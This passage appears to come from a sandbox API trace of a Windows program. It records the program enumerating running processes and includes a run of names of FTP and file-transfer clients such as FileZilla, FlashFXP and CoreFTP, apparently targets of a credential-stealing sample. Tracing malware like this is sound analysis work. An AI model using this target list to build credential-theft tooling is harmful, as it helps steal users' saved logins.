lpMem=0x2116968 | out: hHeap=0x2110000) returned 1 [0099.154] GetLastError () returned 0x0 [0099.154] SetLastError (dwErrCode=0x0) [0099.154] GetLastError () returned 0x0 [0099.154] SetLastError (dwErrCode=0x0) [0099.154] GetLastError () returned 0x0 [0099.154] SetLastError (dwErrCode=0x0) [0099.154] GetLastError () returned 0x0 [0099.154] SetLastError (dwErrCode=0x0) [0099.154] GetLastError () returned 0x0 [0099.154] SetLastError (dwErrCode=0x0) [0099.154] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="cellpresent.exe")) returned 1 [0099.155] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116818 [0099.155] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430c60 [0099.155] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116898 [0099.155] GetLastError () returned 0x0 [0099.155] SetLastError (dwErrCode=0x0) [0099.155] GetLastError () returned 0x0 [0099.156] SetLastError (dwErrCode=0x0) [0099.156] GetLastError () returned 0x0 [0099.156] SetLastError (dwErrCode=0x0) [0099.156] GetLastError () returned 0x0 [0099.156] SetLastError (dwErrCode=0x0) [0099.156] GetLastError () returned 0x0 [0099.156] SetLastError (dwErrCode=0x0) [0099.156] GetLastError () returned 0x0 [0099.156] SetLastError (dwErrCode=0x0) [0099.156] GetLastError () returned 0x0 [0099.156] SetLastError (dwErrCode=0x0) [0099.156] GetLastError () returned 0x0 [0099.156] SetLastError (dwErrCode=0x0) [0099.156] GetLastError () returned 0x0 [0099.156] SetLastError (dwErrCode=0x0) [0099.156] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430600 [0099.156] GetLastError () returned 0x0 [0099.156] SetLastError (dwErrCode=0x0) [0099.157] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430600 | out: hHeap=0x2110000) returned 1 [0099.157] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116898 | out: hHeap=0x2110000) returned 1 [0099.157] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430c60 | out: hHeap=0x2110000) returned 1 [0099.157] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116818 | out: hHeap=0x2110000) returned 1 [0099.157] GetLastError () returned 0x0 [0099.157] SetLastError (dwErrCode=0x0) [0099.157] GetLastError () returned 0x0 [0099.157] SetLastError (dwErrCode=0x0) [0099.157] GetLastError () returned 0x0 [0099.157] SetLastError (dwErrCode=0x0) [0099.157] GetLastError () returned 0x0 [0099.157] SetLastError (dwErrCode=0x0) [0099.157] GetLastError () returned 0x0 [0099.157] SetLastError (dwErrCode=0x0) [0099.157] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="change-born-daughter.exe")) returned 1 [0099.158] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21169d8 [0099.158] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430c60 [0099.158] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21168f8 [0099.158] GetLastError () returned 0x0 [0099.158] SetLastError (dwErrCode=0x0) [0099.158] GetLastError () returned 0x0 [0099.158] SetLastError (dwErrCode=0x0) [0099.158] GetLastError () returned 0x0 [0099.159] SetLastError (dwErrCode=0x0) [0099.159] GetLastError () returned 0x0 [0099.159] SetLastError (dwErrCode=0x0) [0099.159] GetLastError () returned 0x0 [0099.159] SetLastError (dwErrCode=0x0) [0099.159] GetLastError () returned 0x0 [0099.159] SetLastError (dwErrCode=0x0) [0099.159] GetLastError () returned 0x0 [0099.159] SetLastError (dwErrCode=0x0) [0099.159] GetLastError () returned 0x0 [0099.159] SetLastError (dwErrCode=0x0) [0099.159] GetLastError () returned 0x0 [0099.159] SetLastError (dwErrCode=0x0) [0099.159] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34303d0 [0099.159] GetLastError () returned 0x0 [0099.159] SetLastError (dwErrCode=0x0) [0099.159] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34303d0 | out: hHeap=0x2110000) returned 1 [0099.159] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21168f8 | out: hHeap=0x2110000) returned 1 [0099.159] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430c60 | out: hHeap=0x2110000) returned 1 [0099.159] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21169d8 | out: hHeap=0x2110000) returned 1 [0099.159] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34306f0 [0099.166] GetLastError () returned 0x0 [0099.166] SetLastError (dwErrCode=0x0) [0099.166] GetLastError () returned 0x0 [0099.166] SetLastError (dwErrCode=0x0) [0099.166] GetLastError () returned 0x0 [0099.166] SetLastError (dwErrCode=0x0) [0099.166] GetLastError () returned 0x0 [0099.166] SetLastError (dwErrCode=0x0) [0099.166] GetLastError () returned 0x0 [0099.166] SetLastError (dwErrCode=0x0) [0099.166] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34306f0 | out: hHeap=0x2110000) returned 1 [0099.166] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="everything_half.exe")) returned 1 [0099.167] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116898 [0099.167] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430e20 [0099.167] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116988 [0099.167] GetLastError () returned 0x0 [0099.168] SetLastError (dwErrCode=0x0) [0099.168] GetLastError () returned 0x0 [0099.168] SetLastError (dwErrCode=0x0) [0099.168] GetLastError () returned 0x0 [0099.168] SetLastError (dwErrCode=0x0) [0099.168] GetLastError () returned 0x0 [0099.168] SetLastError (dwErrCode=0x0) [0099.168] GetLastError () returned 0x0 [0099.168] SetLastError (dwErrCode=0x0) [0099.168] GetLastError () returned 0x0 [0099.168] SetLastError (dwErrCode=0x0) [0099.168] GetLastError () returned 0x0 [0099.168] SetLastError (dwErrCode=0x0) [0099.168] GetLastError () returned 0x0 [0099.168] SetLastError (dwErrCode=0x0) [0099.168] GetLastError () returned 0x0 [0099.169] SetLastError (dwErrCode=0x0) [0099.169] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34306a0 [0099.169] GetLastError () returned 0x0 [0099.169] SetLastError (dwErrCode=0x0) [0099.169] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34306a0 | out: hHeap=0x2110000) returned 1 [0099.169] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116988 | out: hHeap=0x2110000) returned 1 [0099.169] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430e20 | out: hHeap=0x2110000) returned 1 [0099.169] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116898 | out: hHeap=0x2110000) returned 1 [0099.169] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34303a8 [0099.169] GetLastError () returned 0x0 [0099.169] SetLastError (dwErrCode=0x0) [0099.169] GetLastError () returned 0x0 [0099.169] SetLastError (dwErrCode=0x0) [0099.169] GetLastError () returned 0x0 [0099.169] SetLastError (dwErrCode=0x0) [0099.169] GetLastError () returned 0x0 [0099.169] SetLastError (dwErrCode=0x0) [0099.169] GetLastError () returned 0x0 [0099.169] SetLastError (dwErrCode=0x0) [0099.170] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34303a8 | out: hHeap=0x2110000) returned 1 [0099.170] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="especially.exe")) returned 1 [0099.170] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116808 [0099.170] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430dc0 [0099.170] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116938 [0099.170] GetLastError () returned 0x0 [0099.171] SetLastError (dwErrCode=0x0) [0099.171] GetLastError () returned 0x0 [0099.171] SetLastError (dwErrCode=0x0) [0099.171] GetLastError () returned 0x0 [0099.171] SetLastError (dwErrCode=0x0) [0099.171] GetLastError () returned 0x0 [0099.171] SetLastError (dwErrCode=0x0) [0099.171] GetLastError () returned 0x0 [0099.171] SetLastError (dwErrCode=0x0) [0099.171] GetLastError () returned 0x0 [0099.171] SetLastError (dwErrCode=0x0) [0099.171] GetLastError () returned 0x0 [0099.171] SetLastError (dwErrCode=0x0) [0099.171] GetLastError () returned 0x0 [0099.171] SetLastError (dwErrCode=0x0) [0099.171] GetLastError () returned 0x0 [0099.171] SetLastError (dwErrCode=0x0) [0099.171] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34305d8 [0099.172] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430dc0 | out: hHeap=0x2110000) returned 1 [0099.172] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x667) returned 0x2117310 [0099.172] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116ec0 | out: hHeap=0x2110000) returned 1 [0099.172] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="everything receive.exe")) returned 1 [0099.173] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21169b8 [0099.173] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430c40 [0099.173] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116818 [0099.173] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430678 [0099.173] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430c40 | out: hHeap=0x2110000) returned 1 [0099.173] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430678 [0099.173] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="violence share produce.exe")) returned 1 [0099.174] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116868 [0099.174] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430c80 [0099.174] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21169a8 [0099.174] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430498 [0099.174] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430c80 | out: hHeap=0x2110000) returned 1 [0099.174] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34306a0 [0099.174] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="forward-usually-seven.exe")) returned 1 [0099.175] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21169a8 [0099.175] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430dc0 [0099.175] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21168c8 [0099.175] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430380 [0099.175] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430dc0 | out: hHeap=0x2110000) returned 1 [0099.175] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430358 [0099.175] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="improve_hope_morning.exe")) returned 1 [0099.176] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116878 [0099.176] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430ee0 [0099.176] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116838 [0099.176] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430358 [0099.176] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430ee0 | out: hHeap=0x2110000) returned 1 [0099.176] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34306f0 [0099.177] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="feel item itself.exe")) returned 1 [0099.177] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116918 [0099.177] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430ca0 [0099.177] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116968 [0099.178] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430510 [0099.178] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430ca0 | out: hHeap=0x2110000) returned 1 [0099.178] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34306f0 [0099.178] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="necessary.exe")) returned 1 [0099.179] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116838 [0099.179] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430dc0 [0099.179] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116908 [0099.179] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430650 [0099.179] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430dc0 | out: hHeap=0x2110000) returned 1 [0099.179] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="eight unit light.exe")) returned 1 [0099.180] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21168e8 [0099.180] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430ee0 [0099.180] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116988 [0099.180] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430380 [0099.180] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430ee0 | out: hHeap=0x2110000) returned 1 [0099.180] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430380 [0099.180] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="us wide professional.exe")) returned 1 [0099.181] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116948 [0099.181] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430b60 [0099.181] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21169c8 [0099.181] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430510 [0099.181] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430b60 | out: hHeap=0x2110000) returned 1 [0099.181] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34303d0 [0099.181] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="marriage.exe")) returned 1 [0099.182] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116978 [0099.182] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430bc0 [0099.182] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116998 [0099.182] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430358 [0099.182] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430bc0 | out: hHeap=0x2110000) returned 1 [0099.182] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="you recently artist.exe")) returned 1 [0099.183] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116888 [0099.183] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430d20 [0099.183] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21168c8 [0099.183] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430358 [0099.183] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430d20 | out: hHeap=0x2110000) returned 1 [0099.183] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430628 [0099.183] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0099.184] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116838 [0099.184] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430e60 [0099.184] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116908 [0099.184] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34303d0 [0099.184] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430e60 | out: hHeap=0x2110000) returned 1 [0099.184] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0099.186] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116878 [0099.186] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430ba0 [0099.186] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116868 [0099.186] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430510 [0099.186] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430ba0 | out: hHeap=0x2110000) returned 1 [0099.186] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430470 [0099.186] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0099.187] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21168d8 [0099.187] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430ca0 [0099.187] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116838 [0099.187] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430380 [0099.187] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430ca0 | out: hHeap=0x2110000) returned 1 [0099.187] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0099.189] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21168b8 [0099.189] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430b60 [0099.189] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21169a8 [0099.189] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430470 [0099.189] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430b60 | out: hHeap=0x2110000) returned 1 [0099.189] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0099.190] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116928 [0099.190] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430c60 [0099.190] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116868 [0099.190] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430628 [0099.190] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430c60 | out: hHeap=0x2110000) returned 1 [0099.190] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0099.192] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116998 [0099.192] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430c60 [0099.192] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116808 [0099.192] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34303d0 [0099.192] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430c60 | out: hHeap=0x2110000) returned 1 [0099.192] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0099.193] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116878 [0099.193] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430bc0 [0099.193] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21169a8 [0099.193] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430470 [0099.193] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430bc0 | out: hHeap=0x2110000) returned 1 [0099.193] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0099.195] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116838 [0099.195] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430c20 [0099.195] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21169b8 [0099.195] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430448 [0099.195] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430c20 | out: hHeap=0x2110000) returned 1 [0099.195] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0099.197] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116858 [0099.197] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430d60 [0099.197] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116938 [0099.197] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430538 [0099.197] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430d60 | out: hHeap=0x2110000) returned 1 [0099.197] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0099.198] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116878 [0099.198] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430be0 [0099.199] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116988 [0099.199] RtlAllocateHeap 